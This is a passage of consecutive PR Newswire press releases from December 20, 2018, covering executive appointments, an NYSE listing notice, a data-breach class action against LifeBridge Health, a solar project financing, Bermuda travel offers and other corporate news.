the Company announced Mr. Householder's appointment to the Board of Directors, also effective January 1, 2019. Mr. Householder succeeds Chesapeake's current President and CEO, Michael P. McMasters, who will continue as a member of the Board of Directors. Mr. McMasters announced his retirement in September. "Jeff's leadership, innovation and strategic thinking have been critical drivers of the dramatic growth we have cultivated in our Florida operations, and I am confident that under his leadership Chesapeake's culture will flourish and continue to produce superior service to our customers and value for our shareholders," stated Mike McMasters. "I congratulate Jeff and look forward to supporting him and Chesapeake's very capable senior management team to ensure a smooth transition and the Company's future success." "Jeff has the experience, leadership skills and vision that are essential for the continued success of our businesses, and he understands the culture and values that have driven Chesapeake's track record of success," stated John R. Schimkaitis, Chairman of the Board of Directors. "We are committed to leadership development and planned transitions in our management team, and Jeff's accomplishments as the leader of our Florida business unit underlie our confidence in his ability to build on Chesapeake's strong foundation and lead the management team, as we continue our culture of entrepreneurial, disciplined capital investment." Mr. Householder has more than 30 years of energy industry experience and joined Chesapeake Utilities in 2010 as President of the Company's Florida business unit after serving in leadership positions with TECO Energy Peoples Gas, West Florida Gas Company, Florida City Gas and Tallahassee Utilities. Under Jeff's leadership, the Florida operations have generated significant growth in earnings while providing safe, clean, reliable and affordable energy and solutions that promote economic development and preserve environmental integrity. In addition, he led the growth and expansion of Peninsula Pipeline (the Company's Florida intrastate pipeline) and the construction and operation of the Eight Flags Combined Heat and Power facility, the first plant of this type for the Company. Jeff's guidance and oversight of our accelerated Hurricane Michael restoration efforts and our acquisition of the Marlin assets in Florida, which we announced yesterday, also exemplify his executive leadership capabilities. He has worked closely with the Company's Board of Directors and senior executives on strategic initiatives and corporate projects and has served as a member of the Company's Growth Council, which is responsible for making recommendations to the Board regarding all significant capital investments considered by the Company. He has also been a member of various executive committees within the Company, including Employee Benefits, Security and Procurement, and serves on the boards of the Edison Electric Institute, Southern Gas Association and Florida Natural Gas Association. "This is a very exciting time at Chesapeake, and I am honored to have the opportunity to build on the success the Company and its employees produced under Mike's leadership. We will continue to grow our existing businesses and seek new growth opportunities, while maintaining our traditional financial discipline," stated Mr. Householder. "Chesapeake's consistent generation of superior earnings growth and total return to shareholders is a testimony to the culture we have nurtured and to the talent and commitment of our management team and employees. I look forward to leading our team while serving and growing our businesses profitably for the benefit of customers and shareholders." Mr. McMasters served as President and CEO from 2011 to 2018. Under his leadership, Chesapeake produced compound annual earnings growth of 8.2 percent, which yielded an annualized total return of 18.8 percent and growth in market capitalization from $395 million to $1.4 billion. The Company's Chairman, John Schimkaitis stated, "The Board and I are deeply grateful to Mike for his many years of inspiring and productive leadership. Mike has transformed our Company in every way, and his legacy of contributions will continue to benefit our customers, communities, employees and shareholders for years to come." Chesapeake Utilities Corporation is a diversified energy company engaged in natural gas distribution, transmission, gathering and processing, and marketing; electricity generation and distribution; propane gas distribution; and other businesses. Information about Chesapeake Utilities Corporation's businesses is available at www.chpk.com or through our IR App. Please note that Chesapeake Utilities Corporation is not affiliated with Chesapeake Energy, an oil and natural gas exploration company headquartered in Oklahoma City, Oklahoma. For more information, contact: Beth W. Cooper Senior Vice President and Chief Financial Officer 302.734.6022 SOURCE Chesapeake Utilities Corporation Related Links http://www.chpk.com BEIJING, Dec. 20, 2018 /PRNewswire/ -- China Life Insurance Company Limited (the "Company" or "China Life") (NYSE: LFC; SSE: 601628; HKSE: 2628) announced today that Mr. Lin Dairen tendered his resignation as an Executive Director and the President of the Company and a member of the Strategy and Assets and Liabilities Management Committee on 19 December 2018 due to the reason of age, which took effect on the same day. The board of directors (the "Board") of the Company would like to express its gratitude to Mr. Lin Dairen for his contribution to the Company during his tenure of service. Meanwhile, China Life announced that at the ninth meeting of the sixth session of the Board held on 20 December 2018, Mr. Su Hengxuan was appointed as the President of the Company and was re-designated as an Executive Director of the Company. The qualification of Mr. Su Hengxuan as the President of the Company is still subject to the approval of the China Banking and Insurance Regulatory Commission. Mr. Su Hengxuan, born in February 1963, served as a Non-executive Director of the Company from 11 July 2018 to 19 December 2018. He is currently the Vice President of China Life Insurance (Group) Company. He was a Director of China Life Property and Casualty Insurance Company Limited, a Director of China Life Asset Management Company Limited, the President and an Executive Director of China Life Pension Company Limited, and a Director of Insurance Professional College. Mr. Su Hengxuan served various positions in the Company from 2000 to 2015, including the Deputy General Manager of the Henan Branch, the General Manager of the Individual Insurance Department of the Company, the General Manager of the Individual Insurance Sales Department of the Company, an Assistant to the President and the Vice President of the Company. He served as an Executive Director of the Company from July 2014 to May 2015. Mr. Su Hengxuan graduated from Wuhan University in 1998, majoring in insurance with a bachelor's degree, and from the University of Science and Technology of China in 2011, majoring in management science and engineering with a doctoral degree. Mr. Su Hengxuan, a senior economist, has over 35 years of experience in the operation and management of life insurance business. He is a member of the Political Consultative Conference of Xicheng District, Beijing, a member of the Chinese Expert Committee of the Financial Planning Standards Board, and the Executive Director of the Council of the China Center for Insurance and Social Security Research (CCISSR) of Peking University. For further information, please contact: Grace Hou Tel: (86-10) 6363-1241 Fax: (86-10) 6657-5112 Email: [email protected] SOURCE China Life Insurance Company Limited BEIJING, Dec. 20, 2018 /PRNewswire/ -- China New Borun Corporation (NYSE: BORN; "Borun" or the "Company"), a leading producer and distributor of corn-based edible alcohol in China, announces today that on December 19, 2018, it received notice from the New York Stock Exchange ("NYSE") that the Company did not meet the NYSE's price criteria for continued listing standard because the average closing price of the Company's American Depositary Shares, or ADSs, was less than $1.00 per ADS over a consecutive 30-trading-day period. Under NYSE rules, the Company has six months following receipt of the notification to regain compliance with the minimum share price requirement. The Company can regain compliance at any time during the six-month cure period if the Company's ADSs have a closing share price of at least $1.00 on the last trading day of any calendar month during the period and also has an average closing share price of at least $1.00 over the 30 trading-day period ending on the last trading day of that month or on the last day of the cure period. The Company expects to cure this deficiency within the prescribed timeframe and will duly notify the NYSE of its intention. The Company's ADSs will continue to be listed and traded on the NYSE, subject to compliance with other NYSE continued listing standards and oversight by the NYSE. The Company is currently in compliance with all other NYSE quantitative continued listing standards. The NYSE notification does not affect the Company's business operations or its Securities and Exchange Commission reporting requirements. About China New Borun Corporation China New Borun Corporation (NYSE: BORN) is a leading producer and distributor of corn-based edible alcohol sold as an ingredient to producers of baijiu, a popular grain-based alcoholic beverage in China. The Company also produces DDGS Feed, liquid carbon dioxide and crude corn oil as by-products of edible alcohol production, and chlorinated polyethylene (CPE) that are widely used in chemical industries. China New Borun is based in Shouguang, Shandong Province. Additional information about the company can be found at http://www.chinanewborun.com and in documents filed with the U.S. Securities and Exchange Commission, which are available on the SEC's website at http://www.sec.gov. Forward-looking Statements All statements included in this press release, other than statements or characterizations of historical fact, are forward-looking statements. These forward-looking statements are based on our current expectations, estimates and projections about our industry, management's beliefs, and certain assumptions made by us, all of which are subject to change. Forward-looking statements can often be identified by words such as "anticipates," "expects," "intends," "plans," "predicts," "believes," "seeks," "estimates," "may," "will," "should," "would," "could," "potential," "continue," "ongoing," similar expressions, and variations or negatives of these words. These forward-looking statements are not guarantees of future results and are subject to risks, uncertainties and assumptions that could cause our actual results to differ materially and adversely from those expressed in any forward-looking statement. Contact Information Chief Executive Officer Jinmiao Wang Phone: +86-536-545 1199 (China) Email: [email protected] SOURCE China New Borun Corporation Related Links http://www.chinanewborun.com NEW ORLEANS, Dec. 20, 2018 /PRNewswire/ -- Former Attorney General of Louisiana Charles C. Foti, Jr., Esq. and the law firm of Kahn Swick & Foti, LLC ("KSF") are investigating the proposed sale of Civitas Solutions, Inc. ("Civitas") (NYSE: CIVI) to funds advised by Centerbridge Partners, L.P. Under the terms of the proposed transaction, shareholders of Civitas will receive only $17.75 in cash for each share of Civitas that they own. KSF is seeking to determine whether this consideration and the process that led to it are adequate, or whether the consideration undervalues the Company. If you believe that this transaction undervalues the Company and/or if you would like to discuss your legal rights regarding the proposed sale, you may, without obligation or cost to you, e-mail or call KSF Managing Partner Lewis S. Kahn ([email protected]) toll free at any time at 855-768-1857, or visit https://www.ksfcounsel.com/cases/nyse-civi/ to learn more. To learn more about KSF, whose partners include the Former Louisiana Attorney General, visit www.ksfcounsel.com. Kahn Swick & Foti, LLC 1100 Poydras St., Suite 3200 New Orleans, LA 70163 SOURCE Kahn Swick & Foti, LLC Related Links http://www.ksfcounsel.com CINCINNATI, Dec. 20, 2018 /PRNewswire/ -- As health plan premiums rise nationally, so too do insurance companies' earnings, but one local business has found a way to return some of those would-be profits to consumers. ClaimLinx is a consultant, insurance agency and third-party administrator specializing in an alternative strategy for purchasing health insurance that saves companies money while delivering quality benefits. Nationally, insurance companies reported strong growth in 2018, amassing an estimated $47 billion of global profit by the end of the second quarter, according to an analysis of company documents by Axios media company. Not all of that money is being funneled into improving care or services. Insurance companies spend only 80 percent of funds collected in plan premiums on actual medical care, as required by the Affordable Care Act. Packed into those huge premium bills are charges for administration, marketing and company profits for share-holders. That's thousands of dollars each year being given to insurance companies instead of being spent on what workers really need: quality medical care. Tom Quigley, National Benefit Consultant at ClaimLinx, says buying traditional health plans leaves a lot of money on the table, an especially difficult prospect for small businesses where profit margins are slim. "It's really a shame, because people are really just giving all this money away to health insurance companies without even realizing it." So ClaimLinx abandons traditional methods of purchasing health insurance. Instead, it shows clients how to combine a high deductible plan from a major carrier with a self-funded medical expense reimbursement plan. The plan with a major carrier offers a wide physicians network with discounts for services and a stop loss in case of high medical costs. The medical expense reimbursement plan offers the ability to add a lower deductible and better cost-sharing measure for services, like copays. Christy Quigley, President of ClaimLinx, compares this strategy to other types of coverage. "People have car insurance, but they don't buy it for $40 oil changes. Imagine how expensive it would be if it did. We use the same concept for health insurance." This two-prong strategy allows small businesses to restore some of its health care dollars to its employees by delivering better benefits at a much lower price. Contact: Whitney Faber, (617) 892-4655 [email protected] www.claimlinx.com SOURCE ClaimLinx Related Links http://www.claimlinx.com BALTIMORE, Dec. 20, 2018 /PRNewswire/ -- Yesterday, Murphy, Falcon & Murphy filed a statewide class action lawsuit against LifeBridge Heath, Inc. ("LifeBridge"), a Baltimore healthcare provider, on behalf of more than 530,000 Maryland consumers whose personal information, social security numbers, birth dates, names, addresses, health insurance information, client treatment information, and medical diagnoses were stolen. The data breach occurred on or about September 27, 2016. Hackers accessed LifeBridge's servers through one of its physician practices and installed malware on a server that hosted LifeBridge's electronic medical records, patient registration, and billing systems. Unbelievably, LifeBridge failed to discover the data breach until approximately March 28, 2018eighteen months laterallowing the cybercriminals to freely roam its systems during that lengthy period of time. LifeBridge then inexplicably waited nearly two months before disclosing the breach to its patients. The hackers' access was made possible because of LifeBridge's failure to ensure the integrity of its servers and to properly safeguard patients' highly sensitive and confidential information. Well before 2016, LifeBridge knew or should have known that failure to protect patients' personal identifying information and health information from unauthorized access would result in a massive data breach, exposing their patients to serious harm. LifeBridge's conduct also violated many privacy protection statutes, including the Maryland Personal Information Protection Act, the Maryland Social Security Number Privacy Act, and the Maryland Consumer Protection Act. Hassan Murphy, Managing Partner at Murphy, Falcon & Murphy, said today, "LifeBridge's failure to protect their patients' information demonstrates a serious lack of judgment and oversight." Murphy continued, "A health care data breach is devastating in a uniquely personal way. In addition to obtaining the victims' valuable and sensitive personally identifiable information, cybercriminals also obtained information regarding these patients' medical histories, diagnoses, and treatments. LifeBridge should have implemented appropriate and adequate technological safeguards to prevent such a massive cyberbreach from occurring, and certainly should have notified its patients immediately after learning of the breach." "This data breach has compromised every aspect of these patients' personal identities and has subjected them to significant harm. We will continue working until LifeBridge fixes this problem and makes these victims whole," Murphy added. About Hassan Murphy & Murphy, Falcon & Murphy, P.A. Hassan Murphy is currently a member of the Plaintiffs' Steering Committee in In Re: Equifax, Inc., which is responsible for prosecuting the nationwide consumer data breach litigation against Equifax, Inc. Recently Murphy, Falcon & Murphy, P.A. filed the first class action lawsuit against Marriott International, Inc., for its recently disclosed data breach, which affects 500 million consumers. Murphy, Falcon & Murphy, P.A. is a Baltimore-based law which specializes in complex civil, criminal and civil rights litigation. Our powerhouse legal team has a history of unrelenting dedication to its clients in Baltimore and across the country. Our team of seasoned trial lawyers have extensive experience in a wide variety of cases with success rates that dwarf national averages and are dedicated to providing smart strategies and creative approaches to complex litigation. We are driven and strategy-focused characteristics that have helped us secure more than $700 million in verdicts and settlements, and our attorneys have won some of the largest verdicts in high-profile, high-stakes cases in some of the toughest jurisdictions around the country. Learn more at www.murphyfalcon.com. *Each case is different. Past success does not guarantee a favorable result in any future case. Contact: Hassan Murphy [email protected] (410) 539-6500 SOURCE Murphy, Falcon & Murphy Related Links http://www.murphyfalcon.com SANTA MONICA, Calif., Dec. 20, 2018 /PRNewswire/ -- Clay AIR, a hardware-agnostic hand tracking and gesture recognition software company, today announced that it is collaborating with Qualcomm Technologies, Inc. to provide OEMs with critical interaction technology to accelerate adoption of AR & VR devices. This is a part of the company's larger mission to standardize hand tracking-enabled capabilities in AR & VR Head-Mounted Displays (HMDs). "We are at the very beginning of an exciting shift in the way that we interact with devices," said Thomas Amilien, Co-Founder and CEO of Clay AIR. "Users will soon be able to use their own hands to interact in real time with virtual reality, without the continuous need for handheld controllers, all with the help of our hand tracking software." "Transforming the AR & VR industry, enabling the ecosystem and our customers, continues to be Qualcomm's priority and Clay AIR's solution embodies that," Hiren Bhinde, director, product management, Qualcomm Technologies, Inc. "Innovations like Clay AIR's software are rapidly propelling the AR & VR industry and opening new possibilities for OEMs, developers, and consumers." Unlike other solutions that require dedicated, expensive, and consuming external hardware, Clay AIR's software combines a hardware agnostic solution with leading edge performance. "Its unique and modular architecture of analyzers is powered by Clay AIR's (Artificial Intelligence for Recognition) system," said Jean-Baptiste Guignard, Co-Founder and Head of Research of Clay AIR. Clay AIR's software also has applications across other industries, including the consumer IoT and automotive industries, and is already being implemented by leading car manufacturers such as Renault. Learn more about Clay AIR at http://clayair.io/ or by visiting Clay at the Qualcomm booth at the upcoming Consumer Electronics Show (CES) in Las Vegas, where the company will be providing demonstrations of its solution in action. ABOUT CLAY AIR Clay AIR provides software solutions for hand tracking and gesture recognition from any camera module. It is state-of-the-art AI algorithms for fine-grained Computer Vision, dedicated to Automotive, AR, VR, & Consumer Electronics. http://clayair.io/ Qualcomm is a trademark of Qualcomm Incorporated, registered in the United States and other countries. SOURCE Clay AIR REDWOOD CITY, Calif., Dec. 20, 2018 /PRNewswire/ -- Course Hero, an online learning platform where members can access over 20 million course-specific study resources contributed by a community of students and educators, today announced that 5 educators are currently featured in the Course Hero Best Lesson Series. The featured educators are Wendy Williams, PhD, Associate Professor of Professional Practice in Honors, Texas Christian University; Ray Faulkenberry, PhD, Adjunct Professor of Psychology, Diablo Valley College; Charlotte Morgan, MA, Instructor of English, Cleveland State University; Carlin Nguyen, PhD, Assistant Professor of Marketing, California State University; Elisa Affanato, MA, Adjunct Professor of English, Montreat College. "Great educators can take complex, often daunting, topics and make them not only understandable but also relevant and engaging," said Course Hero cofounder and CEO Andrew Grauer. "These educators have helped thousands of students learn to love these topics, and their passion for teaching shines through their creativity. Through our Best Lessons series, Course Hero is providing a platform for educators to share their incredible teaching techniques with educators around the world." Dr. Williams holds a MA in English from Baylor University and a PhD in English and Certificate of Women's Studies from Texas Christian University. Her lesson, "Encourage Collaboration for a Discussion Facilitation," has students explore and experience empathy in its individual, interpersonal, and civic modes and includes a 12-hour service project with a local community partner in order to develop a coherent theory of empathy. Dr. Faulkenberry holds a PhD in Psychology from Argosy University. With his foremost goal being to instill in his students a sense of personal equity and self-efficacy, Faulkenberry's lesson, "Foster Perseverance and Proficiency with a Game of Simon Says," puts content mastery in the back seat and instead focuses on promoting personal growth and connections in the classroom through a game of Simon Says. Ms. Morgan holds both a BA and an MA in English from Cleveland State University. Her lesson, "Show Students that Their (Informed) Opinions Matter," teaches students to use context and research from controversial news articles to write insightful response essays. Dr. Nguyen holds a BS in Management, an MS in Marketing, and a PhD in Marketing from the University of South Florida. His lesson, "Change Student Perspectives with Professional Partnerships," has students demonstrate their knowledge of the sales process by role-playing with a sales professional. Ms. Affanato holds an MA in English, Creative Writing, from Rutgers University. In her lesson, "Build Better Writers with a Refrigerator Magnet Game," Affanato uses refrigerator magnets to teach lessons on independent clauses, dependent clauses, and other elements of sentence structure. Course Hero's Best Lesson series highlights innovative teaching methods and tactical advice from college educators around the country. These articles are written by Course Hero editors and published to Faculty Club, Course Hero's teaching-focused community blog. "Course Hero's vision is for every student to graduate confident and prepared," continued Grauer. "We are excited to partner with educators like these five to enable the best possible outcomes, for students and instructors alike." In addition to the Best Lesson series, Course Hero also partners with educators through on-site lectures at Course Hero's headquarters and video course creation. Educators who are interested in learning more about Course Hero's Partnership Program are invited to contact [email protected]. About Course Hero Course Hero is an online learning platform where members can access over 20 million course-specific study resources contributed by a community of students and educators. The platform includes Practice Problems, study guides, videos, class notes, and step-by-step explanations to help with every college classfrom economics to literature, biology to history, accounting to psychology, and everything in between. Course Hero has been recognized as one of the 2017 Technology Fast 500 by Deloitte and named a 2018 Best Place to Work in the Bay Area by the San Francisco Business Times and Silicon Valley Business Journal. Connect with Course Hero at www.coursehero.com or on LinkedIn, Facebook, Twitter, Instagram, or Pinterest. For more information, contact: Grayling PR for Course Hero [email protected] SOURCE Course Hero Related Links http://www.coursehero.com NASHVILLE, Tenn., Dec. 20, 2018 /PRNewswire/ -- Nashville-based agency Dead Horse Branding earned four national awards for their work on Elvis, Strait, to Jesus -- a coffee table book compiling the 40-plus year career of renowned country music producer, Tony Brown. Along with the book's accolades, Dead Horse's diverse clientele -- ranging from entrepreneurs to celebrity designers -- had an exceptional year with even more to look forward to in 2019. "This was a labor-intensive project that would not have been completed without Rick," said Tony Brown of Dead Horse art director, Rick Caballo. "Rick brought the integrity to the project that I'm not sure I could have trusted someone else to deliver. Elvis, Strait, to Jesus won gold for the best published book for the 11th Annual International Design Award, along with three New York City Big Book awards. Recognized for his work on the book, Caballo was named one of Graphic Design USA Magazine's 2018 People to Watch, and earned the magazine's award for the best brand identity-logo he created for Steven Tyler's solo band, Loving Mary. But graphic design isn't the agency's only specialty. Dead Horse's publicity team was hard at work in 2018, securing their culinary client, Gigi Butler of Gigi's Cupcakes, as the face of Serenade Cabinetry -- a semi-custom kitchen and bath cabinetry manufacturer. In December, Butler released her first autobiography The Secret Ingredient, landing her top segments on national media outlets including NBC's the Today Show and the Hallmark Channel. Another client of Dead Horse, Serenade Cabinetry worked with the agency to put their brand into full swing, and had them create Serenade's first online digital platform and new marketing campaigns. More exciting developments for Dead Horse included signing Nashville's leading vacation rental booking and management company, Coaker Travels, and Nashville's new boutique hotel brand, 121 Hotel. Dead Horse client and interior designer to the stars, Kathy Anderson of Anderson Design Studios, worked with Dead Horse Branding to launch two new licensing deals -- a luxury rug collection with Orientalist Home and a collaboration with Mansion Hill Custom Floors. Dead Horse Branding is a full-service branding agency located in Nashville, Tennessee that specializes in strategic planning, creating and redeveloping professional brands into successful selling powerhouses. For more information about Dead Horse Branding, please visit www.deadhorsebranding.com. Contact: Liz McCormick, Dead Horse Branding Phone: (304) 488-7015 Email: [email protected] SOURCE Dead Horse Branding Related Links http://www.deadhorsebranding.com TEL AVIV, Israel, December 20, 2018 /PRNewswire/ -- Ellomay Capital Ltd. (NYSE American: ELLO) (TASE: ELLO) ("Ellomay" or the "Company"), a renewable energy and power generator and developer of renewable energy and power projects in Europe and Israel, today announced that Talasol Solar S.L.U., its indirect wholly-owned subsidiary ("Talasol") entered into a set of agreements governing the procurement of financing in the aggregate amount of approximately euro 177 million (the "Project Finance"). The Project Finance is intended to finance the construction of a photovoltaic plant with a peak capacity of 300 MW in the municipality of Talavan, Caceres, Spain (the "Talasol Project") promoted by Talasol. Fichtner, Talasol's owner engineer, currently expects that the Talasol photovoltaic plant will generate approximately 561 GWh of electricity a year. The Project Finance consists of several facilities from Deutsche Bank AG and from the European Investment Bank ("EIB") under the Investment Plan for Europe known as the Juncker Plan. For more information concerning the Project Finance, see a Form 6-K furnished by the Company to the Securities and Exchange Commission on December 20, 2018. The consummation of the Project Finance is subject to the occurrence of certain events and circumstances, including the fulfilment of the conditions to closing, that are not entirely within the control of the Company or Talasol. There can be no assurance as to whether or when the conditions to closing will be satisfied. In its publication concerning the Project Finance, EIB noted that: "The municipality of Talavan in Caceres will be home to one of Spain's largest solar photovoltaic power plants, and one of the first in the country to be financed outside renewable energy auctions. The European Investment Bank (EIB) is financing this project with a EUR 70m Juncker Plan loan with the aim of helping to combat climate change. When it starts operating in 2020, this new plant will prevent the release of 263,000 tonnes of CO2 into the atmosphere a year by generating electricity using solar energy." Ran Fridrich, CEO and a board member of Ellomay, commented: "The execution of the financing agreement is a significant accomplishment and one of the final and major steps forward in the Talasol Project. The Company is very pleased with the progress achieved so far in line with the planned schedule. Talasol is a pivotal project for Ellomay as it is bound to serve as a model for our continued growth in developing, constructing and operating solar projects in Europe and Israel." Ori Rosenzweig, Chief Investment Officer at Ellomay, commented: "The fact that two major banks, Deutsche Bank and EIB, are financing the project testifies for its significant success potential. I believe we have obtained the optimal funding terms required for the project that will set a new standard for the future solar energy production in Spain and Europe. The fact that both banks have been involved in the project from a very early stage had a very positive impact on the results of the financing package Talasol was able to obtain today. Talasol could not reach this important milestone, without the positive support throughout the process from the Spanish government, local government and the municipality of Talavan." EIB Vice-President Emma Navarro said: "This project will help to increase electricity generation using solar energy, which is important for meeting European renewable energy goals in Spain, as well as for promoting sustainable growth and cutting carbon emissions. We are delighted to announce our support for this project just few days after the climate change conference held in Katowice, a great opportunity to show the world that the EIB is committed to the Paris Agreement and combating climate change. We will continue working to mobilize financing for climate action projects and to ensure that all of our activities are fully in line with the Paris objectives in 2020." About Ellomay Capital Ltd. Ellomay is an Israeli based company whose shares are registered with the NYSE American and with the Tel Aviv Stock Exchange under the trading symbol "ELLO". Since 2009, Ellomay Capital focuses its business in the renewable energy and power sectors in Europe and Israel. To date, Ellomay has evaluated numerous opportunities and invested significant funds in the renewable, clean energy and natural resources industries in Israel, Italy and Spain, including: Approximately 22.6MW of photovoltaic power plants in Italy , approximately 7.9MW of photovoltaic power plants in Spain and a photovoltaic power plant of approximately 9 MW in Israel ; 9.375% indirect interest in Dorad Energy Ltd., which owns and operates one of Israel's largest private power plants with production capacity of approximately 850 MW, representing about 6%-8% of Israel's total current electricity consumption; 75% of Chashgal Elyon Ltd., Agira Sheuva Electra, L.P. and Ellomay Pumped Storage (2014) Ltd., all of which are involved in a project to construct a 156 MW pumped storage hydro power plant in the Manara Cliff, Israel ; 51% of Groen Gas Goor B.V. and of Groen Gas Oude-Tonge B.V., project companies operating or developing anaerobic digestion plants with a green gas production capacity of approximately 375 Nm3/h, in Goor, the Netherlands and 475 Nm3/h, in Oude Tonge, the Netherlands , respectively. Ellomay Capital is controlled by Mr. Shlomo Nehama, Mr. Hemi Raphael and Mr. Ran Fridrich. Mr. Nehama is one of Israel's prominent businessmen and the former Chairman of Israel's leading bank, Bank Hapohalim, and Messrs. Raphael and Fridrich both have vast experience in financial and industrial businesses. These controlling shareholders, along with Ellomay's dedicated professional management, accumulated extensive experience in recognizing suitable business opportunities worldwide. Ellomay believes the expertise of Ellomay's controlling shareholders and management enables the Company to access the capital markets, as well as assemble global institutional investors and other potential partners. As a result, we believe Ellomay is capable of considering significant and complex transactions, beyond its immediate financial resources. For more information about Ellomay, visit http://www.ellomay.com. Information Relating to Forward-Looking Statements This press release contains forward-looking statements that involve substantial risks and uncertainties, including statements that are based on the current expectations and assumptions of the Company's management. All statements, other than statements of historical facts, included in this press release regarding the Company's plans and objectives, expectations and assumptions of management are forward-looking statements. The use of certain words, including the words "estimate," "project," "intend," "expect," "believe" and similar expressions are intended to identify forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. The Company may not actually achieve the plans, intentions or expectations disclosed in the forward-looking statements and you should not place undue reliance on the Company's forward-looking statements. Various important factors could cause actual results or events to differ materially from those that may be expressed or implied by the Company's forward-looking statements, including changes in the economic market, our ability to obtain the required funds for the equity contribution and the fulfillment of other conditions precedent. These and other risks and uncertainties associated with the Company's business are described in greater detail in the filings the Company makes from time to time with Securities and Exchange Commission, including its Annual Report on Form 20-F. The forward-looking statements are made as of this date and the Company does not undertake any obligation to update any forward-looking statements, whether as a result of new information, future events or otherwise. Contact: Kalia Weintraub CFO Tel: +972-(3)-797-1111 Email: [email protected] SOURCE Ellomay Capital Ltd NEW YORK, Dec. 20, 2018 /PRNewswire/ -- With perfect pink sand beaches, world-class cultural experiences and luxurious ambiance all just a two-hour direct flight from most major east coast airports, Bermuda offers the ultimate winter escape. In 2019, the mid-Atlantic island is taking things to the next level for visitors, with an array of special events, exclusive offers and enticing deals. Ditch the deep freeze and see what's happening out here. Save Up To 50 Percent On Luxury Accommodations During Bermuda's Pink Sale The upcoming Pink Sale makes a trip to the Jewel of the Atlantic even more accessible, offering travelers the chance to experience all Bermuda has to offer while receiving 50 percent off at one of 13 participating resorts, with rates starting as low as $125 per night. The Pink Sale offer must be booked between Dec. 20-Jan. 22 and is valid for travel January 2-April 30, 2019 and September 1-December 31, 2019. Celebrate Spa Month Breathe in, breathe out and discover hot stone massages, soothing aloe vera body wraps and deeply hydrating treatments for only $99 during Bermuda's February Spa Month. That's 50 percent off of Bermuda's most alluring resort and day spas. Your indulgence options include: Power Facial at Exhale, The Hamilton Princess Hotel & Beach Club Luxury Packages at Three Graces Day Spa, Newstead Spa & Salon Winter Warming Massage at Sense, A Rosewood Spa, Rosewood Bermuda Rejuvenating Treatments at Siam Thai Massage and Herbal Spa Full Body Massage and Blowout, The Spa at the Loren Therapeutic Massage at the Ocean Spa, Cambridge Beaches Focus on the Feet at Willow Stream Spa, Fairmont Southampton Discover the Flavours of Bermuda During Restaurant Weeks Bermuda Restaurant Weeks (Jan 17 Feb 3, 2019) is the perfect (and perfectly budget-friendly) way to explore the island's diverse culinary offerings and take advantage of a variety of two-course lunch or three-course dinner prix fixe menus at 49 different Bermuda restaurants. Diners can choose from two-course lunch menus priced at $22 and three-course dinner menus with three price tiers at $32, $42 and $52. Many restaurants are putting together special Bermuda-inspired items, highlighting the island's flavourful mix of British, Caribbean, African, Native American and Portuguese influences and ingredients. Experience World-Class Culture During the Bermuda Festival The 2019 44th Annual Bermuda Festival of the Performing Arts, featuring an exciting lineup of local and international acts, is another reason for a winter escape to Bermuda from January 19 to March 9. The Bermuda Tourism Authority and Fairmont Southampton's room package includes luxurious accommodations at the hotel for a minimum of a two-night stay starting at $235 per night, plus the cost of tickets for your choice of performances which range from $30-$185. The performances offered with this package include The Manhattan Transfer (Jan. 19), Chaka Khan (Feb. 16), Rebecca Faulkenberry (Feb. 18-19), Heather Nova (Feb. 22-23), The Queen's Six (Feb. 25-26), Broadway's Next Hit Musical (March 1-2). Delta Airlines, the official airline of the Festival, will also offer discounted rates for visitors during this period. About Bermuda: Out here is closer than you think. Located in the Atlantic Ocean off North Carolina's coast, the island of Bermuda is just a two-hour nonstop flight from most eastern U.S. airports. Attracting adventure seekers, explorers, romantic and originals, Bermuda is where people, cultures and an alluring mystique swirl together, connecting visitors to a place far from everyday life. The island's legendary pink-sand beaches, frozen in time historic towns and pastel-colored buildings stand out at first. But it's Bermuda's original, ever evolving take on island life that brings travelers out here again and again. The Bermuda experience is elegant, relaxed and genuinely warm, celebrating cultures, reveling in nature and staying open to whatever is around the bend. Recently, the 35th America's Cup, held in Bermuda May and June of 2017, brought a fresh energy to the destination with new and redeveloped hotels, must-visit attractions and restaurants adding to the island spirit. Visit www.gotobermuda.com, www.facebook.com/bermudatourism, and www.twitter.com/bermuda. MEDIA CONTACT: Adel Grobler [email protected] TURNER (212) 889-1700 SOURCE Bermuda Tourism Authority Related Links http://www.gotobermuda.com STOCKHOLM, Dec. 20, 2018 /PRNewswire/ -- Essity's new targets for reduction of greenhouse gas emission have been approved by the Science Based Targets initiative. With this, Essity's sustainability targets are now aligned with the Paris agreement objectives to keep global temperature increase below 2C. The Science Based Targets initiative is a collaboration between CDP, the United Nations Global Compact (UNGC), World Resources Institute (WRI), World Wide Fund for Nature (WWF) and is one of the We Mean Business Coalition commitments. The initiative champions science-based targets, setting as a powerful way of boosting companies' competitive advantage in the transition to the low-carbon economy. "Essity's goal to reduce emissions through the whole value chain has now been approved by leading, independent organizations and it clarifies our contribution to the Paris agreement. To reach our targets, collaboration and innovating resource efficient products and solutions is essential", said Magnus Groth, President and CEO, Essity. The commitment includes absolute targets for energy, electricity, transports, raw materials, suppliers and waste. For energy use within the company and purchased electricity (scope 1 and 2), Essity commits to reduce greenhouse gas emissions 25% by 2030 from a 2016 base-year. Essity commits to reduce greenhouse gas emissions from purchased key raw materials, transport, waste generated in operations and end-of-life treatment of sold products (scope 3), by 18% by 2030 from a 2016 base-year. "Congratulations to Essity for their newly approved science-based target, setting them onto a future-proofed Paris-compliant pathway. It's especially encouraging to see the target covers emissions from Essity's supply chain and treatment of their products at the end of their life, as well as direct operations. It's clear this is the future of business and Essity is getting ahead of the curve by setting this kind of ambitious target", said Alexander Farsan, Global Lead for science-based targets at WWF. For ytterligare information, kontakta: Henrik Sjostrom, Media Relations Manager, +46-8-788-51-36, [email protected] This information was brought to you by Cision http://news.cision.com http://news.cision.com/essity/r/essity-s-emission-targets-in-line-with-paris-climate-agreement,c2704251 The following files are available for download: https://mb.cision.com/Main/15798/2704251/966111.pdf Essityas emission targets in line with Paris climate agreement http://news.cision.com/essity/i/sbti-company-card,c2550128 SBTi company card SOURCE Essity SINGAPORE and NEW YORK, Dec. 20, 2018 /PRNewswire/ -- FreakOut, the global marketing technology company, part of FreakOut Holdings (TSE: 6094), has announced its acquisition of Playwire, a global technology company headquartered in Florida that specializes in maximizing advertising monetization for publishers. Through this new alliance, FreakOut is set to deliver innovative and cutting-edge technology solutions, such as proprietary Complete Monetization Platform and Revenue Intelligence. The move will give FreakOut's clients bespoke access to a large inventory that is comprised of 450 publishers, serving six billion video and display ads each month in the USA. According to eMarketer, more than $46 billion will go to programmatic advertising in the US this year and by 2020, 86.2% of all 